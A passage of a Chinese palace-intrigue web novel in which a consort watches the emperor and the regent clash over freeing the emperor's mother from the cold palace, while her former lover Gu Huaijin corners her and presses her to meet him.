说完,唉声叹气地将手中余牌摊开在桌上。 李玄白隔着牌桌,讥诮笑了一瞬,搓着下巴,话里有话地朝她睨着: “不是,我说,怎么今儿谁坐你旁边,谁输啊?” 常忠呵呵直笑:“与娘娘无关,我比不上圣人时运。” 李玄白冷笑一声,朝对面最难以接近的人,遥遥一指。 南琼霜心里突地一揪。 “顾先生素来是嘉庆帝肱骨臂膀,以本王之见,你们三位坐一起吧。”他笑吟吟抱着肩膀,兴致盎然朝她挑眉毛,“也好压压这桌上龙气。免得其他人,牙都输没了不是?” 南琼霜一时哑然。 他突发疯症? 明知道如今她见顾怀瑾最不自在,他一在她身边,她连谈笑都收敛,浑身哪哪不得劲。 却故意将顾怀瑾调到她身边来? 未等她反应,身旁顾怀瑾已经拿着杯盏站到常忠身侧,候他起身。 她顿时连侧首都不敢了,正儿八经坐直了身子。 如今,顾怀瑾只要与她同在一间房内,即便人山人海,她也一眼便知他在哪。 遑论,离得这么近。 她忐忑仓惶地听见他从容落了座。 四象塔上依偎在他怀里便会嗅到的气味,顿时萦绕于鼻尖。 她倒吸了一口气。 “继续打吧,来。”李玄白笑得一派神气恣意,摊开手,“来,从头抓牌,再来一局。本王非要瞧瞧今日能否赢一局。” 顾怀瑾一言不发。 重新抓牌。 她老老实实地坐在自己的位子上,嘴唇在齿间纠结咬了许久,最终还是跟个树墩子一样老实地坐直。 别说偷窥顾怀瑾的牌。 连嘉庆帝的牌,她都无心去看了。 这人,刚从雾刀那里不知道得知了多少,八成攒着一肚子刻薄情绪,又屡次要见她不得,不知现在有多怨戾勃怒。 倘若在四象塔上,她这几日东躲西藏,已经够他再古怪笑着,上一晚上的刑了吧。 一想到那些他衣冠整齐坐在榻边、眉目带笑地拨进她肉身深处,还要管她叫“娘娘”的日子,她就脑子里嗡的一声。 “娘娘。” 未有反应。 “娘娘。”顾怀瑾又唤了一声。 她一哆嗦:“什么?” 李玄白在对面深深笑着,得逞又得意。 “您的团扇。”顾怀瑾拈着她的扇子递到她眼前,“掉在地上了,怎么没瞧见。” 她接过来,垂首不去看他,声音弱得如蚊蝇:“谢过顾先生。” 扇柄上,许是她的错觉,还带着点他指腹的温。 她将那细细的团扇柄攥紧了,硌得手指微痛。 情未断,但欲一刀两断,她根本就不该再靠近他。 “王公公,备碟瓜子。”顾怀瑾朝王让吩咐,又朝窗外偏首,“外头什么声音。” 一桌人齐齐抬头。 嘉庆帝满腹狐疑:“并无什么声音,许是顾先生听错了吧。” 南琼霜也并未听见什么,侧着身子朝窗外探了一眼。 她一动。 顾怀瑾登时盯视着她。 那样近的距离,当着众人面直勾勾凝望她,尽管隔着绸带,尽管只有一瞬,她也惊得失了呼吸。 她眼睁睁看见他喉结滚动了两下,之后,控制不住地轻喘。 他喘什么? 顾怀瑾若无其事地转回头去,吞了一口凉茶。 她不敢轻举妄动了,浑身僵硬着坐直,连桌子底下的脚,都本本分分地收好。 这一动。 顾怀瑾当即又稍微偏首,不去望她,只欲盖弥彰地望着她面前那碟玫瑰糕。 她终于明白了。 是她脚上的金铃。 “朕亦听见了,似乎有谁在哭。”嘉庆帝回身将王让唤来,“去瞧瞧,谁在宫里头哭呢。朕都吩咐过了,大吉之日,不准有丧气事。” 王让连声应:“诶,奴才这就去撵走这个晦气的!” “别撵走。叫过来,朕要问问他,这大吉之日,他哭什么。” 王让应着下去了。宫人奉上一碟瓜子,众人复又抓牌打牌,桌上人除了他们两个,一齐谈笑,屋内一时热闹。 不多时,人领了上来。 王让:“回皇上的话。哭了的,是尚膳监的太监小德子。据说,他母亲三日前走了,这小德子年岁尚小,难以自控,在笑乐园外头嚎啕呢,惊了皇上。” 说完,朝那哭哭啼啼的小太监眼睛一瞪,一脚蹬在他屁股上:“滚过去谢罪!” 小德子被蹬得连连踉跄,两步就晕头转向地倒在笑乐园的金砖地上,窝在地上叩头: “皇上恕罪!皇上恕罪!小的才刚来宫中半年,不晓得宫中规矩如何,冲撞了皇上。是因母亲急病去世,心中哀痛……” “急病去世?”嘉庆帝搁下了牌,“你抬起头,慢慢说。” “奴才是万江人,家中贫寒,母亲重病却没钱医治,故净了身入宫伺候。奴才本想多挣点银子,补贴家用,给家母治病!不想,才入宫半年,三日前收到家里的来信,说是……”他越说,越说不下去,哭得眼睛被眉毛和脸颊夹在一起,哗哗往外淌泪,“说是……说是家母已经去了……” “皇上,奴才想孝顺她老人家,可是她老人家没等我啊皇上……”他跪在地上咣咣叩头,“可是她老人家不肯等等我啊……” 王让竖着眉毛,抡起拂尘朝着他屁股蛋子又是一下,“嘿!叫你见着皇上你还没完了是吧!叫你跟皇上谢罪,你上皇上这来哭丧来了!带下去,带下去!” 南琼霜一头雾水,在桌上众人面上环顾一圈。 嘉庆帝脾性向来不算好,从前是酒醉后杀了宠嫔,拿人家大腿骨打琵琶的,怎么今日这样好性儿,放着牌不打,耐着性子听个太监哭? 李玄白亦不知这几人在搞什么名堂,单手撑着腮,叉着腿听着。 顾怀瑾在剥瓜子。 好看的、骨节分明又修长的手,一粒一粒地剥。明明是用惯了右手的人,剥出来的瓜子仁,却全搁在左手边,拿自己的帕子垫在底下。 她复又回去听热闹。 却忽然感觉,手背,被人缓缓、轻轻地蹭了一霎。 她一股激灵自全身的骨头缝里蹿上来,冷而酥,有点发麻。 他将瓜子仁朝她手边推了推。 她惊得连眼都不敢眨,余光都不敢瞟,手放在桌上指节蜷了又蜷,微微咬着唇。 那一头,忽然一阵呜呜的恸哭,仿佛一只动物吃了什么咽不下去,哽着脖子吞咽。 她顾不得他,莫名其妙地转回头去。 只看一眼,吓了天大的一跳。 嘉庆帝忽而涨得满面通红,掩面哀哭,一面哭一面痛彻心扉地锤着自己胸脯,他本就瘦,这一锤,简直满屋都听得见他腔子里的回响: “丧母之痛,天下一同!何止是你,便是朕是九五之尊,亦是如此!王让,下去!留他慢慢说!” 王让连连道是,滑着步子赶忙退下。 “皇上,前些日子,奴才还梦见她老人家给我托梦了……说是,要我,要我多给她烧点纸钱!”小德子抬头,面上已是眼泪纵横,“但咱们紫禁城里不准随意烧纸……” “朕特许你出宫一日治丧!”嘉庆帝明黄的宽袖一挥,又掩面拭泪,“你个奴才,丧母之痛,已是如此,朕作为皇上,焉有不痛的道理!朕的生母常太妃,自多年前被贼人栽赃,已在静思轩内思过了七年。这七年,朕如何好过!” 李玄白饶有兴致地凝神听了半晌,听到这,终于明了,拄着腮会心冷笑。 南琼霜也心如明镜。 嘉庆帝最近不知怎么,一门心思想将 他那先帝时便已经做了活死人的母亲自冷宫中放出来,为此,不知使了多少气力,拉着众人,在李玄白面前演戏。 眼下,常忠要管常太妃叫一声姑姑,自然会帮着他;顾怀瑾亦在场,不论李玄白如何暴怒,总还有个可镇住他,叫他不得不忌惮的主。 常顾双方俱在,李玄白再如何落拓行事,也不得不受双方掣肘。 恐怕,这丧母哭嚎的小太监,是嘉庆帝早置于棋盘上的一着棋。 她屏着息,悄悄瞥眼过去,觑了一下身旁不声不响的人。 顾怀瑾仍在替她剥瓜子。 她轻咳一声以作提醒。 顾怀瑾我行我素,仍是懒得管。 那一边,嘉庆帝哭嚎得更加惨绝人寰: “古有王祥卧冰求鲤,今有尔等泣母泪下。可是朕!朕为天下万人之上,区区孝顺之心,却难得成全!当年贼人作祟,陷害慈母;是朕无能,多年以来,未能为母亲伸冤!母亲自来体弱,静思轩僻寒幽邃,这么多年,朕不知母亲是否安好。一国天子!欲与慈母相见而不能,何其不幸!” 他一面哭,明黄广袖一面在空中呼呼地挥。 笑乐园内宫人们跪了一地,王让亦涕泗横流,哆嗦着嘴唇为嘉庆帝顺气,“皇上,您别哭了,当心自己身子……” “太妃入静思轩思过,是先帝的令。你才当朝几年,便想罔顾先帝之命?”李玄白顺手拿了一块雪花酥在口中嚼着,懒懒靠在椅子里,手指在桌上敲着,“并非本王不准,是先帝不准,可别怪到本王身上来。” “朕并非责怪摄政王之意。”嘉庆帝拿袖子在脸上胡乱擦着,“只是母亲当年入静思轩,事情便是疑窦丛生……” “疑窦丛生?”李玄白冷嘲一声,曲着食指在桌面叩了当当两声,汹汹抱起肩膀,“常太妃左右的宫人,在尚膳局内动了手脚,在我母妃的饭菜中下了毒。此事人证物证俱在,当年的证词也有,就在宫正司的文牒上!怎么?如今你拉着说得上话的这几人,在这儿跟老子逼我?” 他越说,越笑起来,眼睛压在眉毛底下,愈发像一头艳丽却发狠的凶兽: “告诉你,本王既不准,天底下能逼本王回心转意的人,还没生出来呢。莫说先帝遗命在此,便是先帝他老人家从皇陵里边儿爬出来,赦免她——!” 他声音倏地放轻,一句话,轻轻落下: “本王在这,常褚秀,也得死在静思轩。” 常忠急忙起身抱拳: “摄政王,当年之事,确实疑云密布。姑姑再如何脾性娇纵,总也不至于叫自己身边的大丫鬟,去尚膳局中做手脚。这种手脚,随便一查,不就查着了?若不帮姑姑翻这个案,当年谢贵妃之死,真凶就逍遥法外!若是这样,您母亲的冤仇可真就报不了了,摄政王!” “栽赃?宫正司文牒上,当年证词清清楚楚!你们一个个空口白牙地就说栽赃?!”李玄白拿起桌上茶盏,嘭的一声掼在地上,碎瓷片哗啦飞溅,王让吴顺俱是惊呼一声,“此事不必再提了!谁再心疼那个毒妇,便去静思轩中陪她!” 嘉庆帝嚎啕着朝王让递眼色。 王让当即会意,溜溜地提着袍子就往外跑。 李玄白性子一向狂傲锋锐,难以拘束,今日当着常顾双方的面逼得他撕破了脸,若再不事成,恐怕以后也没有余地。 不论如何,嘉庆帝需搏一搏。 李玄白见了他那一眼,当即咬着牙冷笑,“莫说你去寻那王茂行,便是那把老骨头动员满朝文官,到承安门门口跪地进谏!本王说了不准,还是不准!谁敢妄议,到断头台底下议!” 南琼霜听了许久,也知这其中的事,她一个刚刚入宫两月的宫妃,不宜置喙,可是事情再闹下去,恐怕难以收场。 她站起身来,对暴怒的李玄白柔着嗓子开口:“摄政王,您……” “摄政王。”顾怀瑾拍拍手上的瓜子木屑,终于开了口。 “怎么。”李玄白嗤笑一声,“你又有话要说了。” “太妃……” 话音未落,外头王让急匆匆拨开笑乐园的锦帘: “皇上,晟贵妃求见。” 第140章 毛琳妍今日来,概因一个时辰前还春风得意地伴君左右,一个时辰后便在嘉庆帝脚底下碰了满鼻子灰,心中不甘。坐在景仁宫内,半个时辰这一口气还咽不下去,终于还是急慌慌地不请自来。 一来,便见一向得体的大太监王让火烧屁股似的往外跑,几乎撞在她身上。见来人是她,第一句话也不是告饶谢罪,慌忙往内带路。 她一进去,瞧见笑乐园内情形,人便呆了一呆。 嘉庆帝蹲地嚎啕,哭天抢地。 南琼霜围在他身边,惶急替他拭泪顺气。 常忠满头大汗地在地上叩头,人对折成了一个被子卷。 牌桌上仍坐着两人。 一人事不关己气定神闲,朝宫人回身要了条帕子,慢条斯理地擦手。 一人抱着肩膀叉着腿坐,不论面前如何鸡飞狗跳,兀自懒散轻慢地窝在椅子里,一派厌倦凶戾。 见了来人,李玄白拨了拨耳坠,那颗招摇鲜艳的红宝石顿时闪出残忍的光。 “啧,又来了个姓常的。你们常家,将紫禁城包下来算了。” “皇上这是怎么了?”毛琳妍慌忙凑上前,一把将南琼霜搡开,揉着他的心口安抚。 南琼霜本也懒得应付这个涕泪满脸的人,刚好得了清净,蹭到一边袖手看着。 王让:“回贵妃娘娘。皇上触景生情,想求摄政王将太妃放出静思轩,摄政王不肯。” 李玄白又往嘴里放了颗荔枝——他这人便是如此,人愈恨他气他,他愈要悠闲自在,嗤笑一声,“又叫了个来说情的。也是安排好了的吧?告诉你,没用。” 他食指轻巧往外一指:“不想死,滚出去!” 常忠和一个毛琳妍,加在一起,或许比不上一个常达,但总比没有强。 嘉庆帝登时咧丧着脸朝她伸出手:“妍儿,快替朕说说情,替你义姐说说情啊!” 毛琳妍左看一眼嘉庆帝,右看一眼神色不善的李玄白,权衡一瞬,提着裙摆扑通一声跪下。 她身家性命,全系于嘉庆帝一身,摄政王再有大能,她也只有一个主心骨。 南琼霜见她二话没说跪在李玄白身前,当即便笑了,用帕子掩着唇。 李玄白不答应的事,求? 求也没门。 “摄政王,当年义姐之案,可疑之处甚多。摄政王忙于前朝政事,或许不知。可是琳妍久居于深宫之中,曾经听闻,当年谢贵妃薨了,先帝龙颜大怒,尚膳局涉事人等,一一投入诏狱。那些奴才,世代贱籍,如何受得了此种拷打!自然是一拷打,人家要听什么招什么!” “那你说怎么办。”李玄白怒得越发笑出了声,“你说说怎么办。宫正司的文牒不作数,证词不作数,你们一个个在这哭天喊地的,就做数了?” 他口中荔枝核吐进掌心,往瓷盘中劈手一掷,那盘当一声崩裂: “你们一个个又跪又嚎的,就做数了!她害死我母妃,她就是被人栽赃陷害?我母妃呢,死了就死了?!本王告诉你们——” 李玄白怒得浑身哆嗦,手指朝地上伏身叩头的众人一一点过,“别一个个在本王面前一哭二闹三上吊的。除非本王母妃半夜托梦,告诉我当年真凶并非常褚秀,否则!” 他笑: “谁愿去静思轩中陪她,谁去。便是要去宫门口找根绳吊死,本王也不拦着!” “摄政王!”毛琳妍回身看一眼嘉庆帝的脸色,嘉庆帝大嚎仍未止,她心领神会,赶忙嚎啕起来,跪行过去,摸他的膝盖: “爱母之心,人之常情,皇上不过孝顺而已,又有何罪过?!举朝若知摄政王为太妃之事,惹得皇上抢地恸哭,百官作何想,百姓作何想?!摄政王不体恤常家,也要体恤百官,体恤皇上!” “孝顺?”李玄 白将这两字咬得切齿,“正是。孝顺,人之常情。皇上之孝,是攒了这么大一个局,诱本王前来,叫本王允也不是,不允也不是。那么,本王为人子之孝,便是不允也不是,但也不允!本王最后说一遍!谁再胆敢替常褚秀求情,谁入静思轩陪同!” 毛琳妍又回身觑了嘉庆帝一眼。 嘉庆帝已经伏倒在地,掩面痛哭。 她吞咽了一下,四面环顾。 常忠已经起了身,伺候嘉庆帝,意图将他从地上扶起来。 大太监王让蹭着步子鬼鬼祟祟往门外退,转头便要出去请人,李玄白骤然拧头过来断喝:“站住!我看今日谁敢走!” 角落里,南琼霜袖手旁观,神色晦暗难明,不知在想什么。 毛琳妍垂首想了一瞬。 她这一辈子,都绑在嘉庆帝身上了,嘉庆帝高兴,她才有活路。 眼下,那个贱人倒是躲到一旁明哲保身了。此时她若再替皇上往上头顶一顶,便算表忠心,到时与她两厢衬托,皇上必念她今日之功。往后,她的恩宠,又岂是劳什子引蝶术可以夺走的? 何况,顶着“常”这个姓氏,她不信摄政王真敢一口咬死,和他们对着干。 她大哭着扑上前,抱住李玄白一条腿: “摄政王,您就行行好,成全成全皇上吧!皇上在臣妾的景仁宫,因太妃之事,夜夜难眠……皇上,皇上可是您的亲弟弟啊!您居于高位,一言一行是举朝典范,若落了个残害手足之名……” “混账!”李玄白勃然大怒,一脚蹬在毛琳妍脸上,踹得她仰首栽倒在地,咣一声巨响,“残害手足?!杀母之仇,若能容忍,本王白白姓李!来人!” 吴顺当即上前:“奴才在。” “将这泼妇拖下去,打入静思轩,无召不得出!” “摄政王!”毛琳妍整个人如被惊雷劈过,满脸泥灰,狼狈往前爬了两步,见李玄白已经腾一下站起了身,转而又跪爬到嘉庆帝身前,泪流满面: “皇上,您救救臣妾,救救臣妾!皇上!” 那一边,南琼霜独自一人站在黯静的角落里,漠然而无动于衷。 乱成这个样子,倒方便她做事了。 她早听说,当年,常太妃宠爱她这个儿子,宠得跟眼珠子似的。想来,母子感情深厚,以致今日,嘉庆帝仍惦记着放她出来。 不过,她亦不曾想到,李玄白那种脾气,嘉庆帝竟真敢拿着孝悌之义逼他。 或许,是因为前些日子,常达晋了王爵,嘉庆帝见李玄白松口,以为他开始肯对常氏退让,于是想借常氏的名头,逼李玄白一把。 那么,嘉庆帝,对常家是又忌惮,又依赖。 有意思。她笑了一下,转着自己头发丝玩。 原来这个疯子,被常达一碗酒毁了身体和精神,却仍挂念着自己姓常的母亲。平日里怕常达怕得腿都站不直,到头来,自己想出来这么个主意,拿了两个姓常的人当挡箭牌。 只是,这些,与她全无干系。 她站在无人在意的静谧的角落,宫人们逃的逃、跪的跪,四下一片混乱哭嚎,她一个人,目光静静在人群中逡巡。 李玄白下了令,要将毛琳妍也打入静思轩。 毛琳妍是常达戳在宫中的眼睛,她要入冷宫,常达怎会同意。 常忠必然会派人传信告知自己爹爹,急唤常达入宫。 但是。 如果除了常忠的人以外,还有人意图向外传信,那可就有意思了。 倘若有。 八成是常达,藏在宫中的眼线。 她带着点似有若无的笑,好整以暇地候着。 屋内跪了一地仓惶无措的宫人,个个打着哆嗦。 眼线,到底有没有。 混乱之中,终于有人发了话。 “摄政王。恕顾某直言,您未免自作多情了。” 顾怀瑾含着点倦于理会的不屑,笑,“贵妃是皇上的贵妃。贵妃如何处置,是皇上的家事。莫非,摄政王除了摄政,还欲摄皇上?” 屋内少数几个尚敢站着的人,听了这话,嗵一声跪下。 南琼霜轻轻撤身,将身形掩在山水屏风后,朝候在门外的远香和清涟,使了个眼色。 倘若要往外送消息,务必要快。否则,紫禁城内,李玄白的令比汗血马还快,等到李玄白的人真拖着毛琳妍关进了静思轩,常达便是入了紫禁城,想再救人,也难了。 她躲在屏风后,屏息凝神,观望着地上一群宫人。 果然,角落里一个平脸细眉的,抬起脸,耗子一般左右环顾两圈,缓爬起身,往外急奔。 她立即对远香使眼色。 远香旋即会意,立马跟上。 “家事?”屏风里面,李玄白嗤笑一声,“既是皇上的家事,也别拿出来惹本王厌烦!吴顺,拖下去,打入冷宫!” 里头毛琳妍哭声更盛。 又一个宫人从里头冲出来,一边踮着脚疾行,一边回望。 她又对清涟望了一眼。 清涟颔首闪身。 “都给我站住!本王今天话放这,谁敢出去送信,谁掉脑袋!”里头不知又摔了什么东西,一阵噼里啪啦的巨响,“常忠!” 里头顾怀瑾叹息:“摄政王,贵妃何辜。” “怎么。”李玄白笑,“贵妃娘娘,你很在乎?” 南琼霜百忙之中朝屏风内瞥了一眼。 “并非是在乎娘娘,顾某是在乎皇上。”顾怀瑾慢悠悠将衣上落的瓜子屑扑下去,“摄政王这般喜欢东拉西扯,不仅失了自己的脸面,更叫皇上颜面有损。若如此,皇上或该换个人辅政了。” 南琼霜在屏风后听得一愣。 怎么,莫非他赞成常达晋爵称王,是想给嘉庆帝换个摄政王? 倘若他真欲与常达联手,摄政王的宝座,李玄白究竟能否保住,确实难以预料。 忽然,屏风内又一行细碎的脚步声。 她蓦地侧耳聆听。 一个生得白白细细的小太监,提着长袍,一溜烟自屏风内跑出来,顷刻便没了影子。 她在原地纠结犹豫半瞬,终于揪着裙子一跺脚,抛下屏风内一地鸡毛,闪身追了出去。 笑乐园外,几乎没有宫人了。 人人都听得园内巨变,胆子大的跑了,胆子小的进去跪着,老实没主意的躲起来哭,精明的侧着耳朵偷听。 那小太监专挑着无人处往外偷溜,她一路跟,也并未撞上什么人。 笑乐园因是皇上常来之地,宫人们打扫得勤,满园花红柳绿,地上连半片树叶也没有。人一少,太整洁,反而显得冷清寂寥。 忽然,一拐弯,前头靛蓝色长袍的影子消失了。 她紧追两步跟上。 光洁平整的庭院,纤尘不染,鸦雀无声,青白石的地面投着太阳光,映得人眼前白花花的。 笑乐园中心的哭嚎怒吼声,远远传来,一叠一叠,仿佛涮笔水洇在纸上,染出一点淡色的印子。 人呢? 南琼霜喘着气,发上步摇坠下的宝蓝珠子,衬着笑乐园朱红欲滴的雕窗,鲜艳又突兀。 忽而,她惊觉,身后,有一个人。 那人低低道: “乖乖。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 140-150 第141章 她惊呼一声。 来人倏地覆掌压在她嘴上,捂灭她短促的呼叫。 面前人缚着眼,一身丝缎鸦青长衣,流光蕴润,悄无声息,仿佛是空无中无来由化出来的。 他手掌收了,缓慢竖起一根修长食指,立在她唇前。 “嘘。”他道,“乖乖,别叫。” 她惊得急喘两下。离得那么近,她瞬间听见自己嗵嗵的心跳,往旁瞥了两眼,笑乐园内仍是空无一人,石栏杆上蹲着的威严的小石狮子,却好似一齐睁开了眼,冥冥盯视过来。 她浑身起了一层鸡皮疙瘩: “你怎么在这?!” 他倾身下来,沉重的影子骤然倒下来罩住她,只有一句话: “为什么不肯见我。” 太近了,唇鼻几乎彼此衔接。 这种距离,他们习惯接吻的。 她的心脏几乎要跳出腔子,紧忙搡了搡他:“放开!你放开!” 趁他尚未将她抓在手 里,她闪身自一旁窜出来,运功使力在空中踮了两下脚尖。 倏地,腰间一股不由分说的力,捕住她,骤然往下,她织金的裙摆花一般漾开,未等分辨,背后已经抵上了镂花窗棂,硌得她背脊一阵酸痛。 步摇珠子打在她脸侧,顾怀瑾垂首逼近她鼻尖,唇上血色近乎艳丽。 “什么叫彼此放过。”他语气极柔,“说。” 她整个人僵在雕窗上,浑身硬得如一块木板,满脑子都是窗内是否有人。 倘若有,哪怕只有一个——两人就完了。 “你别在这……”她手上愈发用力,挪开身子,堪堪将窗子避开,一面扭头去望那小太监的去向,“放开!那个人是常达的眼线,我得去……” “我安排的。” 他两手抓着她肩膀,轻描淡写。 她难以置信地抬眼看他。 半晌,睫毛扑闪半天,惊怒又有点难堪地偏过头,长吸一口气。 “你究竟在这做什么?!”她用气声斥他,“皇上那闹得鸡飞狗跳,你把他一个人撂在摄政王手里,你不管他,他还能剩块骨头吗?!快回去!” “我满脑子都是你,我回去有什么用。”顾怀瑾压抑着喘了一口气,“什么叫彼此放过。” 她望着他。 他一脸绝不肯善罢甘休的偏执神色。 不答,今天这件事就过不去了。 她在心里斟酌了再斟酌,定夺了再定夺,最后开口: “彼此放过,就是结束了。” 抓着她肩膀的两手骤然用力,她几乎感觉他五指掐进了她胳膊里,她皱眉忍了一下,一抬头,见他伏低下来,凑到她双唇前。 本该接吻的距离,他气势几乎慑人。 他缓缓道: “你都没有问过我,就认定我们结束了?” 她听见自己吞咽了一下,距离太近了,近得她唇上有些发麻。 唇间的呼吸相连,仿佛两人一同衔了一根看不见的弦,那弦的两端越发绷紧,她和他再不愿,也还是不知不觉地,牵扯在一起。 她的身体,想接吻。 她慌忙叼住唇瓣。 柔软的唇在齿间揪扯,那一瞬,顾怀瑾苦抑良久终难自持,骤然逼近她唇畔贴上去。 她脑子里轰隆一声,再反应过来的时候,已经偏着头从他怀里挣了出来,浑身一阵一阵发麻,她满头冷汗气喘吁吁,咬着牙掐了他一下: “这里是紫禁城!” 顾怀瑾沉默着任她,眉目间一丝情绪也无。 只是,他喘的,她快听不下去了。 “你快回去!”她羞臊得简直浑身哆嗦,这里是什么地方,他还当是他的四象塔吗?!“摄政王是什么脾气,皇上又有什么本事?常忠被摄政王拦下了,常达无召入不了宫,你再不回去弹压局面,皇上若疯症发作,不知道又要闹成什么样子!” “怎么,你也要我回去镇着。”他摩挲着她手腕,“那就见我。眼下,我可是有一大堆话,得好好问你。” 南琼霜筋疲力竭地闭了闭眼。 不是再因私事耽搁大局的时候了,笑乐园内离不得他,他出来这一时片刻,里面不知已是怎样的情形。 她再将喉咙里的忐忑焦躁咽下去,点了点头。 他道:“出宫找我。” “什么?” “我知道你从他那得了令牌。” 她愣怔一瞬,不敢相信地反复打量他:“你怎么知道?” 他不答。 她忽然如梦初醒:“清涟远香究竟怎么回事?何时跟你的线人有了往来?雾刀呢?” 他只模棱两可地给她一句话:“出宫找我,再说。三日后。” …… 一想到要同他当面对质天山上的一切,她就头皮发麻,不论如何不想应。 “三日后,来见我。”顾怀瑾温柔捋着她碎发,将那些与步摇珠串相勾连的发丝一一理开,曲着食指刮她面颊,“若不来,别怪我满紫禁城逮你。” 威胁的话,可是语气温和从容,好似哄劝。 她无计可施地长出了一口气,良久,终于纠结着眉头道:“……好。” 手中忽然被他塞了一包东西。 他道:“瓜子仁。” 话落,顾怀瑾终于退开,行至日头底下,那一身丝缎长衣顿时亮得仿若往下淌水,他声音被风轻轻送进她耳边: “最近不是爱吃这个?昨晚指甲还劈了。” 她惊异抬眼,不敢置信。 庭院里,人却已经失了踪影。 凭空化出、随风而去。明明没在她身侧,却如影随形,仿佛片刻不曾离身。 为什么她的事情,他都知道。 南琼霜望着树影空摇的寂寥的庭院,忽然有一种感觉。 他一直在。 从未放过片刻。 一个踪迹莫测、无言窥伺、难以摆脱的鬼。 * 笑乐园内,一片狼藉。 南琼霜再度心惊胆战地踏进笑乐园的门槛时,金砖地上已经多了不知多少碎瓷片,牌桌大喇喇掀翻在地,满地的牌与瓜果皮屑。 宫人们无人敢上前拾掇,贵人们脚踏着一地花白的瓜子皮,踏得咯吱作响。 嘉庆帝已经被人扶到了椅子上,头歪在椅背顶端,浑浑噩噩,呼唤不应,几已灵魂出窍。 毛琳妍尚且无虞,所谓无虞——是人至少还没进冷宫,哆哆嗦嗦地伏在地上,撅着屁股跪着。 她一旁,常忠满脑袋油亮的汗,直跪着朝上头的人抱拳。 上头,李玄白叉着两脚坐着,手肘拄在扶手上,玩着自己耳坠,语气漫不经心,可是,她从未见李玄白脸上有那种表情。 何止是动怒。 倘若这里不是紫禁城,而是当年的天山,只怕这两人浑都不剩了。 她头痛欲裂,再朝里面看去。 顾怀瑾怡然自得坐在窗边,端着一盏茶,水汽氤氲,他慢慢悠悠拿杯盖刮着茶沫。 她只觉太阳穴砰砰直跳,扶着额头。 诚然,常李双方相斗,坐收渔翁之利的便是他顾怀瑾,可是,他这姿态,是否太作壁上观了点。 李玄白撑着腮,摊手笑道,“你们也别跟本王哭天喊地的了,九五之尊,扯着嗓子哀嚎,本王可受不起。这样吧。不就是孝顺之情跟姐妹之义么?好办。” 他手指一一在地上人面上指过:“贵妃思念义姐,常将军思念姑姑,皇上思念母妃。和和美美的一大家子,进去团圆吧。” 他鼓掌两下:“来人,尽数打入静思轩!” 地上毛琳妍慌忙抬头,常忠浑身僵直。 顷刻上来两个人高马大的侍卫,拽起跪在地上的毛琳妍和常忠,便要拖下去。 窗子底下,顾怀瑾不屑嗤笑一声:“摄政王口气未免太大。只关贵妃娘娘还不够,还要将常将军打入静思轩?”他将茶盖轻轻扣在茶盏上,叮一声,“一时置气,后患无穷。其中利害,摄政王不消三思,想必就能明白。” 未等李玄白开口,那一头嘉庆帝恍恍惚惚醒了,眼缝倏地一开,哆嗦着干裂的唇,朝天一指: “若是……若是连妍儿也要关入静思轩,那就……也关了朕!” 李玄白笑了一声,“您急什么。本王说‘尽数’,本也涵括了您。”话毕,骤然将手中折扇一把投在地上:“好!请皇上入静思轩!” 南琼霜心里咯噔一下。 将皇上关入静思轩,岂非软禁?他是想借今日之局,破罐破摔,直接取了玉玺吗?! 李玄白单手拄着腮,吊儿郎当晃着脚。 时机尚未成熟,他今日并无夺位之意。 但眼下,区区一个疯子,一个女人,一个蠢货,也敢借着常达的势到他面前大闹。他若不给两分颜色瞧瞧,以后他坐在摄政王的椅子上,难堪时候还多着呢。 锦帘一掀,外头忽地入了一大片金戈侍卫,乌压压地分列而入,个个身佩长刀,高挑魁梧。 金戈侍卫,乃是李玄白的私卫,皆是李玄白亲自从近侍亲军中擢选而来,不在人多,贵在精。 李玄白的大太监吴顺,袖着手,低眉顺眼地自行列末尾随进来。 南琼霜心中一哂。 她就说金戈侍卫怎么放着大明宫不守,刚刚好好在笑乐园外,叫他手一挥就进来了,原来是吴顺跑出去放的消息。 不知常达府上,眼下是否得了消息。 “摄政王。”顾怀瑾终于轻轻将茶盏搁在窗台上,负手站了起来,背过身子望着窗外,“当日定亲王晋爵,便对顾某说,皇上体虚抱病,摄政王脾性暴烈,要顾某在紫禁城之内,多多拘束劝诫。” “拘束?”李玄白含笑将这两个字在唇间嚼了一遍,“有能耐拘束本王之人,还没生出来呢。顾先生还是先顾顾自己吧。半个官衔也没有,凭一张嘴,在紫禁城中出出进进的,李氏已经给足了你面子。” 顾怀瑾含笑转身,颔首得客气,“摄政王,今日顾某劝您,本分行事,莫要胡闹,您是听,还是不听。” 李玄白兴致盎然地歪在椅子上看他:“你也配如此同本王说话?” 眼神同金戈侍卫示意,手轻巧朝窗边人一指。 南琼霜愈看愈急。李玄白今日是气得到了顶了,他原本就是那样一个无所顾忌的放肆性子,兴头上来,该做不该做的他全要做。 金戈侍卫在此,若想破局,必得拖延时间,等到宫中其余亲军调集过来,方能与金戈侍卫一拼。 他明知道李玄白是这样的脾性,怎么还同他往上顶? 两个高大侍卫缓步过去,行至顾怀瑾身侧,抱拳:“顾大人,多有得罪。” 顾怀瑾只是漠不关心,回身一哂。 “本王知道你的无量心法了不起。区区几个侍卫,拿不下你。”李玄白终于慢腾腾站起了身,眸光随意扫过地上冷汗满面的常忠和毛琳妍,阴厉一笑,“但是,本王要拿,你敢抗命吗。” 他断喝:“拿下!” 其余的金戈侍卫顿时出列,齐刷刷疾行过去,长腿大步,立时将窗边的人团团围住。 顾怀瑾心不在焉,理了理袖摆。 南琼霜气得几乎要昏过头去。 这人究竟在做什么。连嘉庆帝和常忠都被金戈侍卫架了起来,再抓他一个,不过是顺手的事! 她是宫妃,不论如何不易出面,见远香已经回了她身边,她附耳过去道:“去通知公孙红,给常达放个消息,说紫禁城内闹得无法收场……” 忽然一片脚步声直直奔来,响亮齐整,井然有序,未等她口里的话说完,笑乐园的锦帘兀地被人一把掀开,两列身着玄天紫锦服之人鱼贯而入,人人佩刀,人人魁梧健硕,冷杀肃穆,煞气逼人。 笑乐园内,众宫人低头避让。 常忠眼睛霎时亮了起来,颤颤巍巍地扶起晕了头的毛琳妍。 嘉庆帝听闻异响,福至心灵地睁开了眼,一看,喜得连连鼓掌。 唯有李玄白脸色,一瞬转为狰狞难看。 锦服长刀,飞鱼纹饰,宽肩窄腰。 顾怀瑾的,飞鱼卫。 “佩刀入宫,剑拔弩张的,是要干什么。”李玄白冷笑一声,“是要杀了本王吗。” 顾怀瑾客气地应:“顾某不敢,无非是有些话,要对摄政王说。” “说话归说话。调来这么大一帮子人,几乎将整个飞鱼卫尽数调入宫中了,这是要说话的架势?!” 